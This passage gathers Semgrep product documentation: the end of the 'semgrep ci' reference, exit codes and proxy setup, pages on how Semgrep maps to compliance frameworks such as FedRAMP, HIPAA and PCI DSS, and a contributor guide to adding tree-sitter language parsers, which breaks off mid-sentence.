Python jsonschema + semgrep-core RPC validation. 'core-only' runs
only the RPC validation. 'none' skips both; rule errors surface
from the scan subprocess instead.
\--x-run-taint-once
\[INTERNAL] Run taint analysis just once (default: true)
\--x-semgrepignore-filename=FILENAME
\[INTERNAL] Files named FILENAME shall be consulted instead of the
files named '.semgrepignore'. This option can be useful for
testing semgrep on intentionally broken code that should normally
be ignored.
\--x-simple-profiling
Upon exit, print on stderr a report showing how long certain
operations took, in an unspecified text format.
\--x-tr, --x-enable-transitive-reachability
\[INTERNAL] Enable transitive reachability analysis regardless of
app-based configuration. Typically used with
'--allow-local-builds'.
\--x-upload-partial-results=VAL
Internal flag.
\--x-upload-partial-results-scan-id=INT
Internal flag.
\--x-use-saved-scan-config-path=VAL
Internal flag.
\--x-validate-partial-results-actual=VAL
Internal flag.
\--x-validate-partial-results-expected=VAL
Internal flag.
EXIT STATUS
semgrep ci exits with:
0 OK
1 some findings
2 fatal error
3 invalid target code
4 invalid pattern
5 unparseable YAML
7 missing configuration
8 invalid language
13 invalid API key
99 not implemented in osemgrep
ENVIRONMENT
These environment variables affect the execution of semgrep ci:
SEMGREP\_AUDIT\_ON
See option --audit-on.
SEMGREP\_BASELINE\_COMMIT
See option --baseline-commit.
SEMGREP\_ENABLE\_VERSION\_CHECK
See option --enable-version-check.
SEMGREP\_FORCE\_COLOR
See option --force-color.
SEMGREP\_SEND\_METRICS
See option --metrics.
SEMGREP\_SUPPRESS\_ERRORS
See option --suppress-errors.
AUTHORS
Semgrep Inc. \<[support@semgrep.com](mailto:support@semgrep.com)>
BUGS
If you encounter an issue, please report it at
[https://github.com/semgrep/semgrep/issues](https://github.com/semgrep/semgrep/issues)
```
```
## Ignore files
The Semgrep command line tool supports a `.semgrepignore` file that follows `.gitignore` syntax and is used to skip files and directories during scanning. This is commonly used to avoid vendor and test related code. For a complete example, see the [.semgrepignore file on Semgrepβs source code](https://github.com/semgrep/semgrep/blob/develop/.semgrepignore).
In addition to `.semgrepignore` there are several methods to set up ignore patterns. See [Ignoring files, folders, or code](/ignoring-files-folders-code).
## Connect to Semgrep Registry through a proxy
Semgrep uses the Python3 `requests` library. Set the following environment variables to point to your proxy:
```bash theme={null}
export HTTP_PROXY="HTTP_PROXY_URL"
export HTTPS_PROXY="HTTPS_PROXY_URL"
```
For example:
```bash theme={null}
export HTTP_PROXY="http://10.10.1.10:3128"
export HTTPS_PROXY="http://10.10.1.10:1080"
```
## Exit codes
Semgrep can finish with the following exit codes:
* **0**: Semgrep ran successfully and found no errors (or did find errors, but the `--error` flag is **not** being used).
* **1**: Semgrep ran successfully and found issues in your code (while using the `--error` flag).
* **2**: Semgrep failed.
* **3**: Invalid syntax of the scanned language. This error occurs only while using the `--strict` flag.
* **4**: Semgrep encountered an invalid pattern in the rule schema.
* **5**: Semgrep configuration is not valid YAML.
* **7**: At least one rule in the configuration is invalid.
* **8**: Semgrep does not understand specified language.
* **13**: The API key is invalid.
* **14**: \[Deprecated] Semgrep scan failed.
When using Semgrep Managed Scans, you may also see other exit code values that originate from the system running the scan. Please reach out to [Support](/support) for help with an unexpected exit code.
**TIP**
To view the exit code when running `semgrep scan`, enter the following command immediately after the Semgrep scan finishes:
```bash theme={null}
echo $?
```
The output is a single exit code, such as:
```bash theme={null}
1
```
Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support) for other ways to get help.
# Compliance
Source: https://docs.semgrep.dev/compliance/compliance-overview
Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.
Semgrep can help address security requirements in the following compliance frameworks and standards:
### Government and federal standards
* **[FedRAMP](/compliance/fedramp):** Federal Risk and Authorization Management Program for cloud services used by U.S. federal agencies
* **[NIST 800-171](/compliance/nist-800-171):** Protecting Controlled Unclassified Information (CUI) in nonfederal systems
### Healthcare and privacy
* **[HIPAA/HITRUST](/compliance/hipaa-hitrust):** Health Insurance Portability and Accountability Act and HITRUST Common Security Framework
* **[GDPR](/compliance/gdpr):** General Data Protection Regulation for protecting personal data of EU residents
### Financial services
* **[PCI DSS](/compliance/pci-dss):** Payment Card Industry Data Security Standard for protecting cardholder data
### Information security standards
* **[ISO 27001](/compliance/iso27001):** International standard for information security management systems (ISMS)
* **[ISO 27017](/compliance/iso-27017):** Code of practice for information security controls for cloud services
### SOC 2
* **[SOC 2](/compliance/soc2):** Service Organization Control 2 for security, availability, processing integrity, confidentiality, and privacy
## Getting started with compliance
**Review the specific framework page** relevant to your organization from the list above
**Understand which controls** Semgrep can help address in your compliance program
**Deploy Semgrep** following the [core deployment guide](/deployment/core-deployment)
**Configure policies** that align with your compliance requirements
**Work with your compliance team** to incorporate Semgrep into your compliance documentation and audit processes
For questions about how Semgrep fits into your specific compliance program, contact your compliance team or [Semgrep support](/support).
# FedRAMP compliance
Source: https://docs.semgrep.dev/compliance/fedramp
**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
**Last updated:** November 2025
FedRAMP (Federal Risk and Authorization Management Program) provides standardized security assessment and authorization for cloud services used by federal agencies. The FedRAMP Authorization Boundary Guidance v3.0 Section 7 indicates that corporate services are outside the FedRAMP Authorization Boundary so long as they do not contain federal data. When Semgrep scans code, it collects and stores metadata about scan results. For details, see the [metrics documentation](/metrics).
**WARNING**
Federal data should not exist in code repositories. Semgrep scans code repositories, not production systems or databases containing federal data. Federal data is typically absent from code repositories.
Semgrep may help address FedRAMP security requirements derived from NIST SP 800-53 Rev 5:
* **RA-5 (vulnerability monitoring and scanning):** SAST scanning helps provide continuous automated vulnerability detection. Semgrep identifies OWASP Top 10 vulnerabilities including SQL injection, broken authentication, and security misconfigurations before code reaches production FedRAMP systems. Audit logs help provide timestamped evidence of continuous vulnerability monitoring that 3PAO assessors can review during annual assessments.
* **IA-5 (authenticator management):** [Secrets detection](/semgrep-secrets/conceptual-overview) helps prevent AWS GovCloud API tokens, Azure Government credentials, database passwords, and private keys from being committed to source code. Custom rules enforce that authentication mechanisms use federal identity providers rather than hardcoded credentials, helping agencies meet OMB Memorandum M-22-09 requirements for phishing-resistant MFA.
* **SA-11 (developer security testing):** Policy enforcement demonstrates that security testing is mandatory in the secure software development lifecycle. When configured with CI/CD platforms, Semgrep helps block vulnerable code at the pull request level before deployment. Custom policies can enforce agency-specific secure coding standards and can be configured to match security control baselines (low, moderate, or high) required by your authorization.
* **AU-2 and AU-3 (event logging and audit record content):** Audit logs document every scan execution, security finding, policy violation, and remediation action with timestamps in UTC format. Logs are exportable in JSON format for integration with federal SIEM systems and compliance reporting tools.
* **SI-2 (flaw remediation):** SAST scanning combined with Supply Chain vulnerability detection helps provide comprehensive flaw identification across custom code and third-party dependencies. [Jira integration creates documented remediation](/semgrep-appsec-platform/jira) workflows with discovery timestamps and resolution status. Audit logs track flaw remediation timelines segmented by severity level, helping agencies meet requirements for remediating high-risk flaws within 30 days and moderate-risk flaws within 90 days.
* **SI-3 (malicious code protection):** Supply Chain scanning detects malicious packages, typosquatting attacks, dependency confusion vulnerabilities, and known malicious packages before they reach production federal systems. Reachability analysis determines whether malicious dependencies are actually invoked in your application code.
* **SA-15 and SR-3 (software supply chain security):** [SBOM generation](/semgrep-supply-chain/sbom) helps provide visibility into the federal software supply chain by documenting all third-party components in CycloneDX and SPDX formats. For agencies responding to Executive Order 14028 and OMB Memorandum M-22-18 requirements for software supply chain security, SBOMs document the composition of software deployed in FedRAMP environments. Supply Chain scanning evaluates dependencies against security criteria, identifies components with known vulnerabilities, malicious packages, and abandoned projects. Policy enforcement can block dependencies that fail supply chain risk criteria.
### Deployment considerations
CLI and on-premises CI/CD deployments keep code entirely within agency-controlled infrastructure. For agencies using FedRAMP-authorized CI/CD platforms (GitHub Enterprise Server in GovCloud, GitLab Dedicated for Government, Azure Government DevOps), Semgrep integrates with existing workflows. [Semgrep Managed Scans](/getting-started/quickstart-managed-scans) (AWS deployed) may be acceptable for repositories without federal data per FedRAMP Authorization Boundary Guidance v3.0 Section 7, but requires a case-by-case assessment with your authorizing official.
# GDPR compliance
Source: https://docs.semgrep.dev/compliance/gdpr
**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
**Last updated:** November 2025
GDPR (General Data Protection Regulation) governs how organizations collect, store, and process personal data of EU residents. Organizations must implement appropriate technical and organizational measures to protect personal data and demonstrate compliance with supervisory authorities.
**WARNING**
Personal data should not exist in code repositories. Semgrep scans code repositories, not production systems or databases containing customer data. EU resident personal data is typically absent from code repositories.
Semgrep helps reduce GDPR violation risk:
* **Article 25 (data protection by design and by default):** [Policy enforcement](/semgrep-code/policies) demonstrates that security is built into your development process from the start. When properly configured with CI/CD systems, Semgrep can enforce secure coding practices at the pull request level. For details about proper configuration, please chat with the [Semgrep team](/support/).
* **Article 32 (security of processing):** [SAST scanning](/semgrep-code/overview) detects injection flaws, broken authentication, and insecure configurations that attackers exploit to access databases containing customer personal data. [Secrets detection](/semgrep-secrets/conceptual-overview) stops hardcoded API keys, database credentials, or access tokens that could provide unauthorized access to systems processing EU resident data. [Audit logs](/semgrep-code/findings) provide documented evidence of technical measures to protect personal data.
* **Articles 44-50 (data transfers to third countries):** Deployment flexibility allows you to meet data residency requirements. CLI and on-premises CI/CD keep code in your environment. For cloud deployments, you can choose EU-region CI/CD providers. For Semgrep Multimodal, you can bring your own API keys with EU-based providers. Semgrep provides Data Processing Agreements with Standard Contractual Clauses for trans-Atlantic transfers.
# HIPAA/HITRUST compliance
Source: https://docs.semgrep.dev/compliance/hipaa-hitrust
**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
**Last updated:** November 2025
HIPAA (Health Insurance Portability and Accountability Act) establishes national standards for protecting medical records and health information. HITRUST CSF v11 (Common Security Framework) is a certifiable framework that harmonizes multiple security and privacy standards including HIPAA requirements.
**WARNING**
Protected Health Information (PHI) should not exist in code repositories. Semgrep scans code repositories, not production systems or databases containing PHI data. PHI data is typically absent from code repositories.
Semgrep may help address HIPAA Security Rule requirements and HITRUST CSF v11 control families:
* **HIPAA Technical Safeguard 164.312(a)(1) and HITRUST control 01.m (access control):** SAST scanning detects SQL injection, authentication bypasses, and broken authorization that attackers exploit to access PHI databases. Policy enforcement blocks these vulnerabilities at the pull request level before code reaches production systems handling PHI. Audit logs create timestamped records showing when access control vulnerabilities were detected and fixed.
* **HIPAA Technical Safeguard 164.312(a)(2)(i) and HITRUST control 01.q (unique user identification):** [Secrets detection helps prevent hardcoded database credentials](/semgrep-secrets/conceptual-overview), API keys, authentication tokens, and service account passwords from reaching production code that accesses PHI. Custom rules can enforce that all authentication uses centralized identity providers rather than hardcoded credentials.
* **HIPAA Administrative Safeguard 164.308(a)(8) and HITRUST control 10.m (evaluation of security):** Policy enforcement demonstrates active preventive controls. When configured with CI/CD systems, Semgrep blocks vulnerable code at the PR level. Audit logs document policy enforcement activity showing security controls ran on every code change and blocked violations.
* **HIPAA Technical Safeguard 164.312(b) and HITRUST control 10.k (audit controls):** Audit logs document every scan execution, security finding, remediation action, and status change with timestamps and user attribution. Exportable logs provide compliance evidence for auditor review showing continuous monitoring and systematic remediation over the audit period.
* **HIPAA Administrative Safeguard 164.308(a)(1)(ii)(A) and HITRUST control 03.a (risk management):** [Jira integration](/semgrep-appsec-platform/jira) creates documented remediation workflows with timestamps, assignments, priority levels, and resolution timelines. This provides evidence that security findings are systematically identified, tracked, prioritized, and resolved according to risk management procedures.
* **HIPAA Technical Safeguard 164.312(c)(1) and HITRUST control 01.o (integrity):** SAST rules detect code patterns that could allow data tampering, unauthorized modification of PHI records, or integrity violations. [Custom rules](/semgrep-code/editor) can enforce data validation requirements and detect missing integrity checks in code that modifies PHI.
* **HIPAA Technical Safeguard 164.312(e)(1) and HITRUST control 09.n (transmission security):** Custom SAST rules enforce TLS requirements for PHI transmission, detect insecure HTTP usage in healthcare applications, and flag missing encryption for data in transit. Rules can verify that all PHI transmission uses appropriate cryptographic protocols.
* **Supply Chain Security for Healthcare:** [SBOM generation](/semgrep-supply-chain/sbom) provides visibility into third-party components used in healthcare applications including medical device software, connected health platforms, and patient portals. Supply Chain scanning detects vulnerabilities in healthcare-specific libraries such as HL7 parsers, FHIR implementations, and DICOM handlers. Reachability analysis shows which vulnerable dependencies actually process or access PHI, helping security teams prioritize remediation for components in the PHI data path.
# ISO 27017 compliance
Source: https://docs.semgrep.dev/compliance/iso-27017
**Disclaimer:** Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.
**Last updated:** November 2025
ISO 27017 extends ISO 27001 with cloud-specific security guidance for protecting customer data in cloud environments. This standard applies to cloud service providers and cloud customers.
Semgrep may help address ISO 27017 cloud security guidance:
* **Cloud service development:** Continuous vulnerability scanning and policy enforcement can help demonstrate security controls in development processes. When properly configured with CI/CD systems, Semgrep can enforce secure coding practices at the pull request level. For details around proper configuration please chat with the Semgrep team.
* **Vulnerability management:** Automated detection and tracking of security issues in code that runs in cloud environments. Audit logs document security scanning activity, findings, and remediation with timestamps.
* **Logging and monitoring:** Audit logs provide documented evidence of continuous security monitoring across your cloud application codebase.
* **Supply chain security:** [SBOM generation](/semgrep-supply-chain/sbom) provides inventory of third-party components and dependencies deployed in cloud services, giving visibility into supply chain risk.
* **Change management:** [Jira integration](/semgrep-appsec-platform/jira) documents how security issues are tracked and remediated through your change management process with timestamps, assignments, and resolution status. Policy enforcement can help prevent vulnerable code from reaching cloud production environments.
### Deployment and certification
ISO 27017 applies to cloud service providers and customers. If you provide cloud services to customers, your deployment of Semgrep should align with your cloud security architecture.
Semgrep Inc. is not itself ISO 27017 certified. However, for CLI deployments, scans run on customer infrastructure. For on-premises CI/CD, scans run on customer-controlled infrastructure. Cloud CI/CD providers (GitHub, GitLab, Azure DevOps, Bitbucket) maintain ISO 27017 certification or equivalent cloud security controls. For Semgrep Multimodal, the default provider (OpenAI) operates in ISO 27017-compliant infrastructure. For Semgrep Managed Scans, AWS infrastructure maintains ISO 27017 certification for cloud security controls.
# ISO 27001 compliance
Source: https://docs.semgrep.dev/compliance/iso27001
**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
**Last updated:** November 2025
ISO 27001 is the international standard for information security management systems. Organizations must demonstrate continuous security testing and risk management, not just point-in-time assessments.
Semgrep helps address multiple ISO 27001:2022 Annex A controls:
* **Control A.8.8 (management of technical vulnerabilities):** Semgrep provides continuous [vulnerability scanning](/semgrep-code/overview) on every code change. [Audit logs](/semgrep-code/findings) document vulnerability detection and remediation timelines, giving auditors automated proof that controls are operational rather than requiring manual evidence collection during audit season.
* **Controls A.8.25 through A.8.32 (secure development lifecycle):** When properly configured with CI/CD systems, [policy enforcement](/semgrep-code/policies) can help demonstrate active enforcement of secure coding practices. Auditors can see documented evidence that security policies were run on every code change. Note that developers with appropriate permissions can override policy blocks when necessary. For details around proper configuration, please chat with the [Semgrep team](/support/).
* **Controls A.8.9 and A.8.32 (configuration management and change management):** [Jira integration](/semgrep-appsec-platform/jira) documents how security issues are tracked and remediated through your change management process with timestamps, assignments, and resolution status.
* **Controls A.5.19 through A.5.23 (information security in supplier relationships):** [SBOM generation](/semgrep-supply-chain/sbom) provides a documented inventory of third-party components and their vulnerabilities, proving you have visibility into supply chain risk.
### Deployment and certification
Semgrep Inc. is **not** itself ISO 27001 certified, but the product can be used in deployment models that support an organization's ISO 27001 certification efforts. For CLI and customer-managed CI/CD deployments, scans run on customer-controlled infrastructure. For Semgrep Multimodal, the default provider (OpenAI) maintains ISO 27001 certification. For Semgrep Managed Scans (SMS), AWS infrastructure is ISO 27001 certified.
# NIST 800-171 compliance
Source: https://docs.semgrep.dev/compliance/nist-800-171
**Disclaimer:** Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.
**Last updated:** November 2025
NIST SP 800-171 Revision 2 specifies 110 security requirements across 14 control families for protecting Controlled Unclassified Information (CUI) in non-federal systems. Defense contractors and government contractors handling CUI must maintain CUI within systems that implement these 110 security requirements and remain under contractor control.
**WARNING**
NIST 800-171 applies only to systems that store, process, or transmit CUI. Not all code is CUI. You must assess each repository to determine whether it contains CUI. Commercial software, internal tools, and projects unrelated to government contracts typically do not contain CUI.
**Contractor-controlled systems defined:** Under NIST 800-171, contractor-controlled systems are information systems that are owned, operated, and maintained by the contractor (not the government), where the contractor implements all required security controls and maintains full administrative access. This includes on-premises infrastructure in contractor facilities and contractor-managed cloud infrastructure where the contractor implements the 110 NIST 800-171 security requirements. Standard commercial cloud services ([GitHub.com](http://GitHub.com), [GitLab.com](http://GitLab.com), [Azure DevOps Services](https://azure.microsoft.com/en-us/products/devops)) where the service provider controls security configurations generally do not meet the definition of contractor-controlled for CUI.
When Semgrep scans your source code, it analyzes code for security vulnerabilities and policy violations. If your code does not contain CUI, NIST 800-171 requirements do not apply to code scanning.
For repositories that **do not contain CUI**, Semgrep may help with your overall security posture:
* **3.14.1 (flaw remediation):** SAST scanning detects security weaknesses in code. Audit logs document vulnerability detection and remediation timelines.
* **3.5.10 (authenticator management):** Secrets detection helps prevent hardcoded credentials that provide unauthorized access from reaching production.
* **3.3.1 (audit record creation):** Audit logs document security scanning activity and findings with timestamps and user attribution.
* **3.4.7 (least functionality):** Policy enforcement can help block vulnerable code at the pull request level. When properly configured with CI/CD systems, Semgrep can enforce security policies on every code change. For details around proper configuration, please chat with the [Semgrep team](/support/).
### Deployment requirements for CUI
If your code contains CUI, you must ensure your Semgrep deployment keeps CUI within contractor-controlled systems implementing all 110 NIST 800-171 security requirements. Currently the only Semgrep deployment that would support NIST SP 800-171 is the Semgrep CLI tool. The CLI tool runs entirely on local systems. If your local systems are contractor-controlled and implement all 110 NIST 800-171 requirements, CLI deployment keeps CUI within compliant systems.
Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support/) for other ways to get help.
# PCI DSS compliance
Source: https://docs.semgrep.dev/compliance/pci-dss
**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
**Last updated:** November 2025
PCI DSS (Payment Card Industry Data Security Standard) is mandatory for organizations that store, process, or transmit payment data. QSAs (Qualified Security Assessors) require documented evidence of security controls during assessments.
**WARNING**
Cardholder data should never exist in code repositories. Use designated test card numbers for testing. If no cardholder data exists in your code, PCI DSS does not apply to your SAST scanning.
Semgrep helps address PCI DSS requirements:
* **Requirement 6.2 (ensure all systems are protected from known vulnerabilities):** [SAST scanning](/semgrep-code/overview) detects injection flaws, broken authentication, and insecure configurations that could expose cardholder data. [Audit logs](/semgrep-code/findings) provide documented evidence of vulnerability detection and remediation timelines. QSAs require quarterly validation, and Semgrep provides continuous evidence rather than point-in-time snapshots.
* **Requirement 6.3.1 (removal of custom application accounts, user IDs, and passwords before applications become active):** [Secrets detection](/semgrep-secrets/conceptual-overview) helps prevent hardcoded credentials that provide access to payment systems from reaching production.
* **Requirement 6.3.2 (secure coding practices):** QSAs expect to see evidence of vulnerability scanning, such as SAST, in the development process. When properly configured with CI/CD systems, [policy enforcement](/semgrep-code/policies) can help block risky code at the pull request level, creating a preventive control. Developers with appropriate permissions can override blocks when necessary. Every policy violation is documented for auditors. For configuration help, please contact [Semgrep](/support/).
### Deployment guidance
CLI and on-premises CI/CD keep code in customer-controlled infrastructure. Cloud CI/CD and Semgrep Managed Scans only process code repositories that should not contain cardholder data. If cardholder data is present in the code, verify that your deployment option meets your PCI scope requirements.
# SOC 2 compliance
Source: https://docs.semgrep.dev/compliance/soc2
**Disclaimer:** *Semgrep provides security tooling that can support compliance efforts, but does not guarantee compliance. Organizations remain responsible for meeting all compliance requirements. Consult with your compliance team and auditors to determine how Semgrep fits into your compliance program.*
**Last updated:** November 2025
Organizations pursuing SOC 2 Type II certification need to demonstrate that security controls are operational and effective over time (typically 6-12 months), not just implemented at a point in time.
When Semgrep scans your code, it generates [audit logs](/semgrep-code/findings) that document every scan execution, security finding, remediation action, and status change with timestamps and user attribution. These logs provide evidence for SOC 2 Trust Services Criteria, including CC6.6 (vulnerabilities are identified and addressed), CC7.2 (system monitoring), and CC7.3 (evaluation of security events).
When properly configured with CI/CD systems, Semgrep [policy enforcement](/semgrep-code/policies) allows security teams to define [custom security rules that can block code](/semgrep-ci/configuring-blocking-and-errors-in-ci#blocking-findings) from merging when violations are detected. This demonstrates preventive controls (CC6.1, CC6.6) rather than detective controls. Auditors want to see that you stop security issues before they reach production, not just detect them afterward. Note that developers with appropriate permissions can override policy blocks when necessary. For details around proper configuration, please chat with the Semgrep team.
[Jira integration](/semgrep-appsec-platform/jira) documents your remediation workflow with timestamps and assignments, giving auditors clear evidence that security issues are identified, tracked, and resolved systematically (CC8.1 change management). [SBOM generation](/semgrep-supply-chain/sbom) provides supply chain visibility for vendor risk management controls (CC9.1).
### Deployment and certification
Semgrep Inc. is SOC 2 Type II certified. For CLI deployments, scans run on customer infrastructure (which may or may not be SOC 2 certified, depending on customer controls). For on-premises CI/CD, scans run on customer-controlled infrastructure. Cloud CI/CD providers (GitHub, GitLab, Azure DevOps, Bitbucket) are SOC 2 certified. For Semgrep Managed Scans, scans run on Semgrep's SOC 2 Type II-certified AWS infrastructure.
# How to add support for a new language
Source: https://docs.semgrep.dev/contributing/adding-a-language
This document is about adding support for a new programming language in Semgrep using the [tree-sitter](https://tree-sitter.github.io/tree-sitter/) technology. Most languages in semgrep use `tree-parser` though you may also need to update the `menhir` parser.
Repositories involved directly:
* [**semgrep**](https://github.com/semgrep/semgrep): the semgrep command line program.
* [**ocaml-tree-sitter-semgrep**](https://github.com/semgrep/ocaml-tree-sitter-semgrep): language-specific setup, generates C/OCaml parsers for semgrep.
* A new repository **semgrep-LANG** for the language you're adding: this is a C or OCaml parser generated from `ocaml-tree-sitter-semgrep` by a Semgrep administrator.
* [**semgrep-interfaces**](https://github.com/semgrep/semgrep-interfaces/blob/main/generate.py)
## Placeholder values
This document uses the placeholder LANG to indicate that you should substitute the name of your language as the value in the given context. For example, if your language is Ruby, and the document's instructions read:
> Create a new file `TEST_LANG_.txt` where LANG is in small caps.
The name of your file should be `TEST_LANG_ruby.txt`
> Create a file `Pretty_print.**_EXTENSION_**` with the filename extension of your language:
The name of your file should be `Pretty_print.rb`.
## `semgrep` repository overview
There are some GitHub repositories involved in porting a language.
Here is the file hierarchy of the [`semgrep`
repository](https://github.com/semgrep/semgrep):
```text theme={null}
/languages
βββ bash
...
βββ swift
βββ generic
βββ tree-sitter
βββ semgrep-swift # generated tree-sitter parsers
```
When you're done with the work in [`ocaml-tree-sitter-semgrep`](https://github.com/semgrep/ocaml-tree-sitter-semgrep), you'll need a new repository **`semgrep-LANG`** to host the generated parser code.
Ask someone from the Semgrep team to create one for you. For this, they should use the template
[`semgrep-lang-template`](https://github.com/semgrep/semgrep-lang-template) when creating the repository.
The instructions for adding a language start in [`ocaml-tree-sitter-semgrep`](https://github.com/semgrep/ocaml-tree-sitter-semgrep), as indicated below. Be careful that you are always in the correct repository!
## Set up `ocaml-tree-sitter-semgrep`
As a model, you can use the existing setup for `ruby` or `javascript`. The most complicated setup is for `typescript` and `tsx`.
### Expedited setup
If you're lucky, the language you want to add can be added with the script `add-simple-lang`:
```bash theme={null}
cd lang
./add-simple-lang --help
```
Follow the instructions from --help.
This often works with languages that define a single dialect using a `grammar.js` file at the root of the project. If this simplified approach fails, use the [Manual setup](#manual-setup) instructions below to understand what's going on or to set things up manually.
### Manual setup
From the `ocaml-tree-sitter-semgrep` repository, do the following:
Create a `lang/LANG` folder.
Make a `test/ok` directory. Inside the directory, create a simple `hello-world` program for the language you are porting. Name the program `hello-world.EXTENSION`.
Now make a file called `extensions.txt` and input all the language extensions (.rb, .kt, etc) for your language in the file.
Create a file called `fyi.list` with all the information files, such as
`semgrep-grammars/src/tree-sitter-LANG/LICENSE`,
`semgrep-grammars/src/tree-sitter-LANG/grammar.js`,
`semgrep-grammars/src/semgrep-LANG/grammar.js`, etc.
to bundle with the final OCaml/C project.
Link the Makefile.common to a Makefile in the directory with:
`ln -s ../Makefile.common Makefile`
Create a test corpus. You can do this by:
* Running `most-starred-for-language` to gather projects
on which to run parsing stats. Run with the following command:
`./scripts/most-starred-for-language LANG YOUR_USERNAME API_KEY`
* Using github advanced search to find the most starred or most forked repositories.
Copy the generated `projects.txt` file into the `lang/LANG` directory.
Add in extra projects and extra input sets as you see necessary.
Here's the file hierarchy for Ruby:
```bash theme={null}
lang/ruby # language name of the form [a-z][a-z0-9]*
βββ extensions.txt # standard name. Required for stats.
βββ fyi.list # list of informational files to copy. Recommended.
βββ Makefile -> ../Makefile.common
βββ projects.txt # standard name. Required for stats.
βββ test # sample input files
βββ ok # contains input files supported by the current grammar
β βββ comment.rb
β βββ ex1.rb
β βββ ex2.rb
β βββ hello.rb
β βββ poly.rb
βββ xfail # contains input files that are expected to fail
βββ rating.rb
```
To test a language in `ocaml-tree-sitter-semgrep`, you must build the
`ocaml-tree-sitter-semgrep` OCaml code generator, run it to produce a parser,
then run some tests for the parser. Full instructions for this
are given in [updating-a-grammar](/contributing/updating-a-grammar) under
"Testing". The short instructions are:
1. For the first time, build everything with `./scripts/rebuild-everything`.
2. Subsequently, work from the `lang/LANG` folder and run
`make` and `make test`.
### The `fyi.list` file
The `fyi.list` file was created to specify informational files that
should accompany the generated files. These files are typically:
* the source grammar, most often a single `grammar.js` file.
* the licensing conditions usually specified in a `LICENSE` file.
Example:
```text theme={null}
# Comments are allowed on their own line.
# Blank lines are ok.
# Each path is relative to ocaml-tree-sitter-semgrep/lang
semgrep-grammars/src/tree-sitter-ruby/LICENSE
semgrep-grammars/src/tree-sitter-ruby/grammar.js
semgrep-grammars/src/semgrep-ruby/grammar.js
```
The files listed in `fyi.list` end up in a `fyi` folder in
tree-sitter-lang. For example,
[see `ruby/fyi`](https://github.com/semgrep/semgrep-ruby/tree/main).
## Extend the original grammar with semgrep syntax
This is best done after everything else is set up. Some constructs
such as semgrep metavariables (`$FOO`) may already be valid constructs
in the language, in which case there's nothing to do. Some support for
the semgrep ellipsis `...` usually needs to be added as well.
You'll need to learn [how to create tree-sitter
grammars](https://tree-sitter.github.io/tree-sitter/creating-parsers).
Work from `semgrep-grammars/src/semgrep-LANG` and use `make` and
`make test` to build and test.
Add new test cases to `test/corpus/semgrep.text`.
Edit `grammar.js`.
Refer to the original grammar in
`semgrep-grammars/src/tree-sitter-LANG` to determine which rules to
extend.
For an example of how to extend a language, you can:
* Look at what was done for the semgrep extensions of other languages
in their respective `semgrep-*` folders.
* Look at how `tree-sitter-typescript` extends the JavaScript grammar.
This is the file [`common/define-grammar.js` in the
tree-sitter-typescript repository](https://github.com/tree-sitter/tree-sitter-typescript/blob/master/common/define-grammar.js).
Avoiding parsing conflicts is the trickiest part. Asking for help is encouraged.
**π‘ A NOTE ON THE JAVASCRIPT SYNTAX THAT'S HEAVILY USED TO DEFINE AND EXTEND GRAMMARS:**
When possible, the development team prefers **shorthand** notation for anonymous functions made of a single expression:
```js theme={null}
(x) => x
```
which is the same as
```js theme={null}
(x) => { return x; }
```
which is itself the same as
```js theme={null}
function(x) { return x; }
```
When extending any rule with an alternate choice such as `$.ellipsis`,
the simpler way is this one:
```js theme={null}
expression: ($, previous) => choice(previous, $.ellipsis),
```
However, if the `previous` rule is known to be a `choice()`, you can avoid
one level of nesting and append to the original list of choices, which
is done as follows:
```js theme={null}
expression: ($, previous) => choice(...previous.members, $.ellipsis),
```
Whether to use one or the other is a matter of taste.
Finally, on rare occasions where the rule body is more than a single expression, you'll have to use the curly brace or return syntax:
```js theme={null}
expression: ($, previous) => {
if (semgrep_ext)
return choice(...previous.members, $.ellipsis);
else
return previous;
},
```
## Parsing statistics
From a language's folder such as `lang/csharp`, two targets are
available to exercise the generated parser:
* `make test`: runs on `test/ok` and `test/xfail`
* `make stat`: downloads the code specified in `projects.txt` and
parses the files whose extension matches those in `extensions.txt`,
reporting parsing success in the form of a CSV file.
For gathering a good test corpus, you can use [GitHub
Search](https://github.com/search/advanced) or the script provided in
`scripts/most-starred-for-language.py`. For github searches, filter by
programming language and use a constraint to select large projects,
such as "> 100 forks". Collect the repository URLs and put them into
`projects.txt`.
## Publish generated parsers
After you have pushed your ocaml-tree-sitter-semgrep changes to the main
branch, do the following:
Check that the original `grammar.js`, `src/scanner.c`/`.cc` (if
applicable) look clean and have minimal external dependencies.
In `ocaml-tree-sitter/lang/Makefile`, add language under
'SUPPORTED\_LANGUAGES' and 'STAT\_LANGUAGES'.
In `ocaml-tree-sitter/lang` directory, run `./release LANG --dry-run`.
If this looks good, please [ask someone from the Semgrep team](https://github.com/semgrep/ocaml-tree-sitter-semgrep/blob/main/doc/release.md) to
publish the code using `./release LANG`.
### Troubleshooting
Various errors can occur along the way.
Compilation errors in C or C++ are usually due to a missing source
file `scanner.c` or `scanner.cc`, or a grammar with a name that
doesn't match the name inside the scanner file. JavaScript files may
also be missing, in particular in the case of grammars that extend
existing grammars such as C++ for C or TypeScript for
